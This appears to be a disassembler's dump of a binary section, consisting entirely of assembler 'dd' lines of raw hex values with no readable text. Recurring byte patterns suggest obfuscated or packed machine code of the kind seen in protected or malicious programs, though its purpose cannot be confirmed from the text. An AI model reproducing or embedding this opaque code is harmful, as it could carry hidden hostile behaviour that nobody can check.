		dd 96FEF3E3h, 0BE2C8BF8h, 0D3C361C9h, 0EADA78DCh, 3F391F1h
		dd 0E0DAB09h, 1C143CADh, 81B7603h, 0B7150FB6h, 0CF5259B4h
		dd 0E61B324h, 0FEAC69F3h, 6A08A00Ah, 0A04BD6D5h, 150C5E2Fh
		dd 342D0370h, 418B6AD4h, 616F2Ah, 0F09B3399h, 53CEF667h
		dd 8FDD6FF1h, 0C5F14225h, 0DB6FF153h, 0C67C7FE5h, 4C686BCFh
		dd 0CE48B393h, 0B36D7B47h, 0EDB0861Eh, 6DCBF364h, 84D26FF1h
		dd 0C599791Ah, 0D825E46Eh, 0CDB5h, 81AD5B00h, 756E5558h
		dd 0E2B5D19h, 7D150560h, 0E63961D2h, 0F2406FE9h, 0A13EAF5Ah
		dd 7069FC0Dh, 40057722h, 748F705h, 64B791FBh, 0A7003622h
		dd 4EB6AB81h, 0E8BF54Bh, 0CC2A241Fh, 3188934h, 2233106Ah
		dd 7776D1D4h, 47B841ECh, 3EF00A1Fh, 0EB76E02Eh,	0CF978C62h
		dd 186E71DBh, 4AA31680h, 0A739037Dh, 7679D7D1h,	8DD7B620h
		dd 6CB9A882h, 0D47F17AAh, 2BAA04FEh, 8AEB6208h,	49B1A69Eh
		dd 292313B1h, 0F64141CFh, 60F86D4Dh, 3781AC6Eh,	17BC9FB0h
		dd 4E6h, 0CC6AD6C9h, 0E07EE8DCh, 0F896F8F0h, 0EAC1208h
		dd 23C1291Eh, 0F4E95BB6h, 7FEEE8Ch, 1C1505A3h, 342E1EBCh
		dd 0D83938D6h, 31D3F67h, 0E93B4E76h, 8F20h, 636ACE00h
		dd 8C248A80h, 0E2E70E1h, 0B5969F3h, 32908A60h, 4CAAA494h
		dd 4A4218A1h, 0FC8FE5E8h, 760312D4h, 0D2362DDBh, 92EDD03Ah
		dd 0EC5D089Bh, 701531CFh, 92EDF03Eh, 0EC5D089Bh, 6A033ADFh
		dd 0F3B3AC82h, 3E9497FDh, 628AFBA6h, 69760329h,	84D2B11Bh
		dd 301A7E92h, 31D6B973h, 452h, 60FE6A5Dh, 74127C70h, 8C2A8C84h
		dd 0A240A69Ch, 0B755BDB2h, 887DEF4Ah, 9B928220h, 0B0A99937h
		dd 0C8C2B250h, 6CCDCC6Ah, 31ED3FBh, 75C7DA76h, 9FDD35Ch
		dd 0B3469C9Fh, 6FE9078Bh, 74D75E6h, 0E5C6FE9h, 0E457C10Fh
		dd 6FE907BCh, 0E907032Fh, 54DD666Fh, 0E907BBE3h, 0E174C26Fh
		dd 6FE907B9h, 0BA1812C0h, 303BB822h, 1B9406B1h,	0C385219h
		dd 778036Dh, 69F3E7B5h,	4ED782D0h, 3D9B5DDh, 0C76C476h
		dd 0F5EAC029h, 399F958Dh, 3FFDF7CFh, 2B8D8547h,	373AD228h
		dd 0D9355DCEh, 0F6447603h, 3AD4C65Eh, 0F1732F6Ah, 3A4690Eh
		dd 180B0000h, 2A1E0EACh, 3A3222C0h, 544A3AD8h, 6B6050EEh
		dd 99F86503h, 30CE362Bh, 47E54940h, 60FE5E57h, 7A187670h
		dd 81A91A7Bh, 8876031Eh, 150F2375h, 754BB4B7h, 36B31D7Bh
		dd 9001AC37h, 69FB13C3h, 43E684D2h, 136364D1h, 0B5606C37h
		dd 0FBB71C44h, 6BD52375h, 4DBEF5F8h, 0BA22177Ch, 6F372C1Ch
		dd 57C1B577h, 0CE66BCBFh, 0E27170CBh, 0D5CBA144h, 0FC9056Fh
		dd 0F9635715h, 5D08A0F6h, 5E8921EBh, 0E28D47D8h, 0E9A44971h
		dd 9802506Fh, 0A705FFB5h, 8A797409h, 0D72D3092h, 6622943Fh
		dd 2BB70F35h, 62EB76E0h, 0F79C5FF0h, 0E94D5E86h, 8B1F6D6Fh
		dd 0A314E67Ch, 6FE93A7Bh, 329C3482h, 0FB5102BFh, 0C2C51369h
		dd 0FB2F4571h, 0EC655B75h, 0FB2F537Bh, 740C5A75h, 5DC7BB71h
		dd 90C6C65h, 9D0CECA5h,	342E04C7h, 861E7C76h, 72992D83h
		dd 58132923h, 5535D640h, 30042A81h, 4071DEh, 3FC80000h
		dd 0FB84A6CEh, 0FD67B575h, 8C865CC1h, 28017132h, 0FD9542FCh
		dd 0BD3AA4FAh, 178833CEh, 69FBAA16h, 3D65D637h,	4C75FB96h
		dd 126366FEh, 75FB96E6h, 9165451Eh, 0DE300A3Ah,	0C081h
		dd 865C2700h, 0E6BE2892h, 0D58B8EECh, 0BF7578E0h, 0FB6467C5h
		dd 0C5C83025h, 332D056Fh, 0ADAC37D5h, 676FE902h, 81710F6Dh
		dd 0CB262987h, 259641C0h, 69FB286Ch, 1CB14F9Dh,	572D9611h
		dd 0A9E00F8h, 0EA2E0F7h, 0D9E769B6h, 47F28AFEh,	0FE440D6h
		dd 0D681CF70h, 9CB4DC4Dh, 6DBB6FEFh, 9C2951C2h,	0E2306FEFh
		dd 2217ED78h, 372C1CBAh, 0E117B6Fh, 15D818BCh, 962E7A79h
		dd 0A840AA9Eh, 439C4EB6h, 41E6C979h, 1DEh, 0D472DED1h
		dd 0E886F0E4h, 9E00F8h,	16B41A10h, 2BC93126h, 0FCF163BEh
		dd 0F06F694h, 241D0DABh, 3C3626C4h, 0E04140DEh,	320476Fh
		dd 0F1435676h, 14B21A0Fh, 2ECC2A24h, 0E0636ADAh, 11C3C435h
		dd 0FC4A69FBh, 1E7CA8F9h, 999275FBh, 0BFE43639h, 2C8AEEA2h
		dd 0C933271Fh, 0D2B269C6h, 0D4B48D63h, 24827C52h, 0E00879h
		dd 0A1EF75FCh, 74035A37h, 0B04ADE30h, 0F0000000h, 2B8F865Ch
		dd 91EFE9C1h, 574F258Eh, 329CF2F5h, 0FAFD655Ah,	0E902AAA9h
		dd 12706A6Fh, 2C8A8474h, 44DFCE29h, 403A1099h, 4C0578E2h
		dd 7D69FB29h, 0F1FC912Fh, 2DC6EE5Fh, 27D575FBh,	9E36CE2Eh
		dd 0D44B82F3h, 452700Fh, 268E8359h, 5CB8097Bh, 35FE02EFh
		dd 0D4AA4DCBh, 0BC261ADCh, 3ECF2124h, 0A8C26DE8h, 9B73DD75h
		dd 0A64C3EA6h, 557943CAh, 0F0CD72h, 0CCBF0000h,	0DED2C260h
		dd 0EEE6D674h, 8FEEE8Ch, 1F1404A2h, 4DAC19B7h, 0E482EADFh
		dd 0FB99FDF4h, 14B2120Bh, 2ECC2A24h, 355DCE2Fh,	44760321h
		dd 1A0FDF31h, 2A2414B2h, 0FDA2ECCh, 0FA625715h,	0AFA95F62h
		dd 98F8F1h, 43DECD62h, 0DF12798h, 9A7069F3h, 0F6D53FA3h
		dd 0EAED5148h, 90F9FC94h, 0DD55AC1Eh, 309A6EEDh, 62005E58h
		dd 6B6036BFh, 17AA0003h, 7603BAEFh, 9405B0FEh, 7603BA6Ch
		dd 0E3BB2573h
		dd 0CE362BE9h, 41CA3336h, 3BAA8D0h, 0FF69B776h,	115EF58Ch
		dd 0E1C17842h, 665A1812h, 0BA3F9FCh, 30928A60h,	72DC4238h
		dd 0AC0A04F4h, 46B740A9h, 0C1EE251Eh, 25E81081h, 0A9F7C1EEh
		dd 1AF25CAAh, 5BBBE24h,	0EFA5A810h, 318E91FBh, 922B9A7Ah
		dd 2A24F3D3h, 443E2ECCh, 0F3EE3E6h, 9D000000h, 696CD0C7h
		dd 5356BEB3h, 0BFFB65FDh, 1C0F5995h, 0FDF7ADB0h, 0EDE69C9Fh
		dd 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h, 9E944A4Dh, 877F3538h
		dd 786C2225h, 574D0B0Eh, 0BB53E789h, 4,	835BDF01h, 3C8704EFh
		dd 0AA685C24h, 89000007h, 8956241Ch, 4C681E6h, 81000000h
		dd 4EEh, 24348700h, 2434895Ch, 0BAFBE56h, 0F389061Ah, 8324348Bh
		dd 0EC8304C4h, 24248904h, 4240483h, 3481535Eh, 0D0238224h
		dd 8468F10h, 2382BD55h,	6E3110D0h, 348B5D08h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 5B2434FFh, 0E904C483h, 0FFF863BDh
		dd 29243FCAh, 1BC5B876h, 0C503061Ah, 0D42BE0FFh, 568C79CBh
		dd 500D38BAh, 8D8D32B6h, 61A1D38h, 6830Fh, 0EA810000h
		dd 584116E1h, 0C4F78166h, 0A18D892Eh, 0F061209h, 85C7F1B7h
		dd 6120505h, 5D00h, 14E9h, 2E190500h, 0C60B6867h, 0BDF6AA4Fh
		dd 0AAEEEC51h, 0D67B2BAFh, 0D985C771h, 6121Bh, 9000000h
		dd 12093D85h, 0DDB5FF06h, 6A061213h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 232C353h
		dd 14E94EACh, 0EF000000h, 0CF145C9Fh, 0F0A2D446h, 3AB9CBD3h
		dd 0E549398Bh, 0FF98E6A9h, 121B3195h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 8501C5C5h, 3CEEA63Ch, 13E9h,	0D450BB00h, 0BF1862C4h
		dd 96DC0FB0h, 78CF66F4h, 0B6243649h, 6AFCE380h,	0CD95FF00h
		dd 8B061219h, 0F918EBC0h, 0B95DA55Dh, 2E624A14h, 0D4915A3Ah
		dd 557335D7h, 3806D094h, 8D3A316Fh, 1A1E438Dh, 0C5B58906h
		dd 8906122Ch, 1217599Dh, 0A18D8906h, 6A061209h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 662C350h, 585C73Ah, 0CC061205h, 5700006Dh, 22ADB529h
		dd 0C75A0612h, 121BD985h, 6, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0F5BC494Eh
		dd 0AE9h, 971D9200h, 29FF1F5Fh,	0F838574Fh, 1FC9B5FFh
		dd 0BE80612h, 30000000h, 3276B79Ah, 0D8AC7415h,	0EE9BDA3h
		dd 83000000h, 0D19C19F3h, 5270BDCFh, 0A4E713h, 95FF5AC6h
		dd 6121B31h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	19C35343h, 13E99C7Bh, 1A000000h, 32B532D6h, 4BFA1BD2h
		dd 9AFB91h, 0FF921F1Ch,	6AE0E2h, 19CD95FFh, 0C08B0612h
		dd 250A3AEBh, 88A77652h, 69BF8737h, 0A31105A7h,	0BDA7D144h
		dd 399A2AD8h, 392DF69Ah, 0E486368Bh, 9FEE9B08h,	0A7CBA145h
		dd 651C4647h, 1688801Dh, 87E0C55Ah, 0C878688Eh,	2EFB4599h
		dd 10EBh, 3 dup(0)
		dd 0C08B0000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	6FC35343h, 7B67473Eh, 409BAAD2h, 5AF9523Fh, 1B91BD83h
		dd 75000612h, 0DDBD8309h, 61217h, 53501974h, 2DB8C08Bh
		dd 89000004h, 12008585h, 0F9D8D06h, 0FF0614AEh,	83585BD3h
		dd 1217DDBDh, 17740006h, 2DB85350h, 89000004h, 12008585h
		dd 0FE9D8D06h, 0FF0614AAh, 66585BD3h, 6AF7F9BAh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8982C351h, 122DC185h, 0D58D0906h, 8B061210h,	299589C0h
		dd 8B06121Dh, 1226C98Dh, 11E85606h, 5C000000h, 9D59CBB3h
		dd 0C5F186BDh, 5B692BB5h, 25497930h, 5EF2B70Fh,	0F9835Ah
		dd 68840Fh, 0BF0F0000h,	3D8B64F6h, 2Ch,	14E9h, 0D1450F00h
		dd 0D3C93C36h, 55AD9032h, 0B316436Eh, 0D0494A65h, 890F60E5h
		dd 6, 810Fh, 10E90000h,	0AC000000h, 99964B61h, 8D8DBFCBh
		dd 5C3139E3h, 610B2766h, 840FFF0Bh, 1Ah, 0F3B70F57h, 0F28B665Ah
		dd 85293F8Bh, 61218A5h,	8D89C032h, 61215F5h, 4935AAF3h
		dd 6A535041h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 33C1C352h, 122F89B5h, 7185C606h
		dd 47061228h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	0C5C35646h, 1859D89h, 0BE660612h, 1E6824F1h, 50A73F1Ah
		dd 28A0F52h, 53000000h,	52310F5Eh, 5A5ED18Bh, 24348158h
		dd 7BE99232h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	0E8C35040h, 282323CCh, 2870F5Ch, 53000000h, 0E9B5FF5Ah
		dd 89061230h, 12004D8Dh, 35858D06h, 0F06157Fh, 486h, 0C8BE6600h
		dd 0B2D0FFE5h, 0E9858980h, 6A06121Bh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0DC11C352h
		dd 0E641CDF0h, 8BBDBAA0h, 958B0A1Fh, 6121085h, 287185C6h
		dd 6A530612h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 2936C351h, 0F534D500h,	0F9752ECh
		dd 48Dh, 41BA6600h, 0BF6F6815h,	8B66DD72h, 243481D7h, 55EAD593h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 9BC35242h
		dd 35D87E9Eh, 9CF0A57Eh, 10ED9523h, 0B5FF0612h,	61230E9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F6C35545h
		dd 0D487162Fh, 0FBCB253Dh, 4819503h, 858D0612h,	6157F35h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 8BC35545h
		dd 0A5EB1428h, 6C4C559Bh, 51958989h, 0FF061203h, 0D2BF0FD0h
		dd 3BF9858Dh, 8D0F0615h, 6, 1085958Bh, 85890612h, 61214A5h
		dd 9D958960h, 8B061218h, 1229758Dh, 206A6106h, 95FFFF6Ah
		dd 61214A5h, 50414935h,	9985C753h, 1061200h, 0C7000000h
		dd 12007185h, 6, 0DDB58900h, 8B061204h,	120E11B5h, 0A9858B06h
		dd 64061216h, 0A3h, 39BE6600h, 99BD83D4h, 6120Dh, 6F840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 75DD9EC3h, 85BCF94Ah, 870FD289h, 3, 8BF0BF0Fh
		dd 12180D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8A0FEAE8h, 7, 1890Fh, 8BF50000h
		dd 60E08BD1h, 289B58Bh,	0B5890612h, 6121DA9h, 79BD8361h
		dd 61216h, 3BC850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8A0FD7C3h, 0
		dd 287185C6h, 80560612h, 8C6838E2h, 604593D5h, 8161C68Bh
		dd 5B532404h, 6A6431h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 73CAE9C3h, 57A2A5E0h, 0B5FFC5B5h
		dd 61230E9h, 1790EE81h,	858D4474h, 6157F35h, 2F159523h
		dd 0D0FF0612h, 3359FBBAh, 0D5958B36h, 50061209h, 5E956h
		dd 0DC440000h, 5E21BCB5h, 0F240489h, 8D8DD1BFh,	6120A11h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A9C35242h
		dd 6A2BA051h, 5B98D89h,	60910612h, 0BD20B866h, 59616050h
		dd 46B65061h, 0D0BF0F91h, 6A046Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 276455C3h, 0D11BBF69h
		dd 66F6FACCh, 62FDDA81h, 59173C68h, 0F38B661Eh,	3C243481h
		dd 6A1E5907h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0ED9DC351h, 0A269F018h, 6E9B1B3h
		dd 0A1000000h, 3319A06Fh, 95B5FF00h, 6A061208h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 4403C353h, 7060E131h, 360CCDFh, 12045185h, 599D0106h
		dd 61061211h, 6810Fh, 0B5890000h, 6120DA5h, 8D0FD0FFh
		dd 5, 0ADA8166h, 95BD8BB6h, 0E8061208h,	6, 3EAD5B24h, 0B58B3EF5h
		dd 61219C9h, 3C7F035Eh,	8E9h, 0F45C7F00h, 0C406E464h, 0F8C781C4h
		dd 66000000h, 47C7D18Bh, 2024h,	2DE5BA60h, 0BD83074Eh
		dd 61A1E84h, 54840F00h,	8B000001h, 12013995h, 28C78306h
		dd 1B860Fh, 11E80000h, 0F2000000h, 0DB8F6EE9h, 292981DFh
		dd 6FA8AA41h, 80E8CDA1h, 0EFF7BA66h, 2E07C75Ah,	6064696Ah
		dd 0A8D78166h, 0CEB70FF5h, 447C761h, 617461h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3C35343h, 6045D8AEh
		dd 0BE9h, 0B6D40A00h, 324B2D08h, 65116F18h, 61C3B70Fh
		dd 1E8C858Bh, 14E8061Ah, 63000000h, 9C0ED14Dh, 17E9ADDCh
		dd 7413793Ah, 7CE849B2h, 500ED482h, 8E8h, 79989A00h, 0B27637A1h
		dd 5E5A5E43h, 0E80C4789h, 7, 0DB83711Eh, 0B6D316A3h, 858B5AEFh
		dd 61A1E90h, 2C49BD09h,	0F28B0612h, 6A084789h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0BB41C355h, 89A4B94Dh, 122F7995h, 28C78306h,	87DA8166h
		dd 2E07C793h, 0F96E6F63h, 6870Fh, 95890000h, 6122A3Dh
		dd 660447C7h, 0F006769h, 681h, 51B58B00h, 8B061219h, 1A1E8885h
		dd 0E2816606h, 47895B89h, 7DB58B0Ch, 8B061234h,	1A1E8485h
		dd 10E906h, 31D40000h, 17C0E191h, 6EC387DBh, 1B141801h
		dd 4789E1D4h, 75B52308h, 5806121Ah, 1D9958Bh, 8D8D0612h
		dd 6122279h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	22C35141h, 51B58BC2h, 106121Fh,	121C7DB5h, 8B609106h
		dd 61F18AD3h, 88D0F50h,	56000000h, 8C0Fh, 915A0000h, 0FFD3BF0Fh
		dd 120A11B5h, 0C868F506h, 509BAC78h, 50310F52h,	0D78B6652h
		dd 6DBE310Fh, 5A3EC168h, 81585A58h, 97382404h, 81666453h
		dd 0FFDE6BC6h, 120895B5h, 60D0FF06h, 89F2BF0Fh,	1204DD85h
		dd 0B86106h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F8DC353h, 686h, 0D18D8900h
		dd 0B06122Ah, 69840FC0h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 5D98C350h
		dd 68A0F0Eh, 89000000h,	1231618Dh, 6890F06h, 89000000h
		dd 1222AD85h, 69B5FF06h, 0B6061214h, 3195FF67h,	6A06121Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 8222C356h, 8254680Ah, 0D95E153Ch,	6AC08Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 835ABCC3h, 5EE80BBAh, 0BF0F9336h, 91BD83F0h,	6121Bh
		dd 0BD830975h, 61217DDh, 50197400h, 0B8C08B53h,	42Dh, 22958589h
		dd 9D8D0612h, 614AE76h,	585BD3FFh, 17DDBD83h, 74000612h
		dd 0B8535017h, 42Dh, 22958589h,	9D8D0612h, 614AB17h, 585BD3FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0BCC35747h
		dd 0BF6CBA4Ah, 11E8h, 8C570300h, 536DB199h, 28890B01h
		dd 9EEFDF2h, 5EFC843Bh,	0BE66C08Bh, 0C08B5372h,	1BE9h
		dd 8ABB3700h, 32h, 5 dup(0)
		dd 4DEE9h, 63CFC200h, 77E1D5C5h, 8FF1E9D9h, 0A50B01F1h
		dd 0BA221707h, 0E250AF1Ch, 0F7E785EDh, 0EFE9C00h, 2717B515h
		dd 3231CF2Dh, 2E3860D1h, 34477603h, 0A4150FE2h,	0E9070B33h
		dd 2CC4126Fh, 0F1EAC029h, 5A4F2791h, 6A6454F2h,	5953090Ch
		dd 4E42F8FBh, 6B6339E4h, 484BB5A9h, 1575AF2h, 0A057B497h
		dd 74683EC0h, 47B1070Ah, 7917756Fh, 92309089h, 4649A9A2h
		dd 0B1229990h, 6FE90789h, 0A7AA4290h, 0DAD1A750h, 251D7376h
		dd 73C9CC2Ch, 0B9886809h, 0A20C00C0h, 13B1499Fh, 20CB2923h
		dd 0EEF1514Ah, 44AAA098h, 9E81EB41h, 6665F35h, 0D043AD03h
		dd 6FE907A3h, 39BB9B52h, 9B056F63h, 1D7A67BEh, 4AAED8h
		dd 93050000h, 3308AA53h, 0C0FC66A9h, 0B4B7150Fh, 0E9073963h
		dd 4D2DE46Fh, 1D7B2279h, 169D8h, 0F0F0000h, 45AEB11Bh
		dd 0B9B3796Fh, 6A02585Bh, 0F84A41D6h, 4BB582BCh, 12157F73h
		dd 0FD00665Ch, 3A09E9A0h, 4E3EDC46h, 458F654h, 0AFB21A0Fh
		dd 178805F9h, 6FE907EFh, 9405B0FEh, 6FE9076Ch, 8A8D2573h
		dd 53D5B56Eh, 8B51B8E1h, 0D92F3292h, 7242C545h,	0D33B3008h
		dd 0ED4B4535h, 87F881EAh, 6FE99F5Fh, 0DEB6206Eh, 0ED8184E6h
		dd 29B23414h, 66F95B53h, 6FE99F3Eh, 0B895FF4Dh,	0D81E1971h
		dd 8398h, 1A0F3E00h, 1F9AFB2h, 883F9C9Fh, 7CE4D9A8h, 0F8C93BDEh
		dd 727AAFD9h, 0B7368031h, 0D76F5FC4h, 1D87E5DFh, 3DE85045h
		dd 6097367h, 0FA6346B0h, 62CC2A24h, 2B2E948Ah, 1A1D7B75h
		dd 3067064h, 8D0FEFA6h,	0E991F41Ch, 15ADFB6Fh, 0B286663Fh
		dd 0D81E0B6Bh, 4B92h, 0D977E900h, 3D268EC5h, 0FADE953h
		dd 0F9AFB21Ah, 0E79DA000h, 0D08689F3h, 1A7073DBh, 0C6C92922h
		dd 3CAB8B04h, 2EFDDD96h, 0DF33D139h, 0AEB11B0Fh, 0E907305Dh
		dd 4A2AE16Fh, 90EB56C8h, 53E62EA2h, 0AAB50CE9h,	1FCD81Dh
		dd 0A2000000h, 0B2B5170Fh, 0F9A402FCh, 7D7FF70h, 98E66FE9h
		dd 35F44B2Eh, 2C8E8655h, 6FF2F98Eh, 2BFA53C4h, 0D52369FBh
		dd 0C4221CD2h, 0DE3C3626h, 4126C133h, 0A6A5CD3Eh, 66B475FBh
		dd 5B9516D2h, 93BD0EF1h, 0FB75FB56h, 365ECF58h,	4575FB56h
		dd 0CEC8DF7h, 47E5433Dh, 0FCFF5D57h, 0EBEE4C46h, 673616CFh
		dd 52BAAF6Dh, 0C361F94Fh, 2FC977CEh, 136BEDEh, 6A640000h
		dd 0C435E063h, 69FB347Bh, 0F3C974C2h, 42989BF9h, 453FF5D8h
		dd 5F5949E7h, 4E48FE01h, 4137EDF0h, 2822D8DBh, 770F736Ah
		dd 0EA802274h, 3CEB07B9h, 0D64525DEh, 10DFBF78h, 9D615816h
		dd 0A6A941A7h, 3EA4CC3Dh, 5DAB75FBh, 0F9822DC5h, 0FB3E6088h
		dd 8D216F75h, 7F1F8E68h, 40BE28F4h, 2FA3F44Bh, 4D3BDEh
		dd 5CE10000h, 2B2E8C86h, 0F3EE6BD5h, 3C44B560h,	31016F9h
		dd 3961B2B5h, 47EFE906h, 31E7EA52h, 1781753Bh, 0D0C67C7Fh
		dd 73530C6Ah, 149D0004h, 0E9067BA3h, 2F9189EFh,	0D778E230h
		dd 0F58483F7h, 0F8D1D94Ah, 0A589016h, 828D6Ch, 6A3B0000h
		dd 0C435E063h, 69FB1BAFh, 772D307Eh, 2741F7Dh, 6A299270h
		dd 0ABAD21D9h, 0C7C792DEh, 5747C52Fh, 0ABFCFF5Dh, 75FB188Ch
		dd 0BF4121DAh, 199DC536h, 8F0075FBh, 75FB1967h,	0DB292876h
		dd 419F9971h, 62CCC096h, 191E46B7h, 0DF2D75FBh,	6B62F775h
		dd 1BA42DD8h, 0FB1982AAh, 0D13B8975h, 533A35Eh,	6164B270h
		dd 0CF40B1ABh, 6FF13CA7h, 0CDD068B6h, 63D7B776h, 0BD2ED968h
		dd 69FB5702h, 0D327C513h, 35E0636Ah, 0F32209C4h, 0C3C61469h
		dd 17B5130Dh, 0CCCF2D27h, 93B87E7Bh, 299E9661h,	73B790B8h
		dd 0B9519FA2h, 1ACF64B6h, 60CB357Eh, 89127068h,	0B6EC0EBh
		dd 0BA7C7F17h, 53F26141h, 0F3EDBC9Ch, 0D07F795h, 7D9204AFh
		dd 0BDF12C1Eh, 0A1573AA4h, 8C4245ABh, 7A303393h, 0C41B1E84h
		dd 1DB62505h, 0B5AF7E5Eh, 79FFDF7h, 0AD4DEA5Ch,	3B3EA098h
		dd 0D9CE51E5h, 0A1910F79h, 8BF5E9A7h, 34BF0F3h,	0F9000000h
		dd 1C0F5995h, 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h
		dd 0B5AA6063h, 9E944A4Dh, 877F3538h, 786C2225h,	564D0B0Eh
		dd 0C681E689h, 4, 4EE81h, 34870000h, 2C895C24h,	1E3A6824h
		dd 3C890000h, 16406824h, 0C890000h, 0ADB95124h,	0C12BDA16h
		dd 0E9C102E1h, 81D1F705h, 956A89C1h, 595F510Bh,	240C8B54h
		dd 5704C483h, 0B8FBB53h, 5C3137FBh, 8F5B0424h, 71810841h
		dd 0FB0B8F08h, 2434FF37h, 4C48159h, 8B000000h, 8951243Ch
		dd 4C181E1h, 83000000h,	0C8704C1h, 72E95C24h, 0B3FFF853h
		dd 0B882F08Bh, 61A2C11h, 0E0FFC503h, 638085h, 238169C1h
		dd 758AE33Fh, 7AD43D5h,	4E6A51C9h, 27F0EFAh, 3D0F26C1h
		dd 34F0FA26h, 4CC806Bh,	27F873E9h, 779C0155h, 667A9A82h
		dd 7F098CF3h, 4095BC8Eh, 7D2F5F7Ch, 2E51E5C8h, 5E5EFC6Dh
		dd 58F30464h, 3AA95ABFh, 2D918D8Dh, 6A061Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 5F9B77C3h
		dd 28B0F73h, 0B6000000h, 0D8BF0FF6h, 9A18D89h, 81660612h
		dd 0C716B2F6h, 12050585h, 596C06h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0BF607675h
		dd 3AD958Bh, 9D030612h,	612090Dh, 1BD985C7h, 612h, 860F0000h
		dd 5, 0EC88166h, 69B5FF41h, 0F06122Dh, 685h, 71BD8900h
		dd 8906121Bh, 12266DB5h, 3195FF06h, 0FC06121Bh,	95FF006Ah
		dd 61219CDh, 1EEBC08Bh,	4292A877h, 9134D1B3h, 0CDFE2F2Eh
		dd 0C022EDEFh, 0AB25DD0Eh, 5436B94Fh, 0D22A40C0h, 9E88923h
		dd 47000000h, 2F19E4DDh, 14083773h, 68E0Fh, 9D010000h
		dd 6121E89h, 6820F5Ah, 81000000h, 0CD195EE1h, 0DAC28135h
		dd 6000006Bh, 8E960h, 0CE990000h, 0A1A659E2h, 0BF0F00E6h
		dd 0BE6161D9h, 0
		dd 12E9h, 372EA900h, 7DB6035Dh,	9A4179F8h, 0CBAA622Eh
		dd 8B8CC636h, 0AE9321Ch, 94000000h, 0A561BE40h,	7C560D69h
		dd 0DFEB81F0h, 0FC4EA3AAh, 3640EB81h, 0BD8B0ED5h, 61218BDh
		dd 0AA53C381h, 0B70F687Bh, 8B6653F8h, 32048FC7h, 0FF9BF0Fh
		dd 0EE81CBBFh, 314BFB25h, 0ED858953h, 5806122Bh, 0FB21C681h
		dd 0BD89314Bh, 61210C1h, 9528FE81h, 850FFFFFh, 37h, 19830Fh
		dd 14E90000h, 0D5000000h, 7A12949h, 0A1FF670Bh,	994D9BFDh
		dd 0CF7BE250h, 0E9522CC7h, 29h,	0B718EAC0h, 38C76BE4h
		dd 0E534C536h, 333E4396h, 31A8573Fh, 122BE98Dh,	0FF5DE906h
		dd 138AFFFFh, 0C688509Fh, 8082307Eh, 0CF8D8D47h, 66061A2Fh
		dd 895E42BAh, 1209A18Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 99FDBF7Bh, 0C7107860h
		dd 12050585h, 675006h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 1B572814h, 81D0B70Fh
		dd 0EB1BDAF0h, 0D985C716h, 6121Bh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0D4A7C357h, 52EDF91Dh, 184D9D8Bh, 66580612h,	8FDFD881h
		dd 0CD1B5FFh, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 558AA8C3h, 0CDB69325h, 0F4183B7h
		dd 684h, 0A7D28100h, 896D63F2h,	120479BDh, 3195FF06h, 6A06121Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 2655C355h, 162C4B27h, 8D0F5B36h, 2, 6AF18Bh
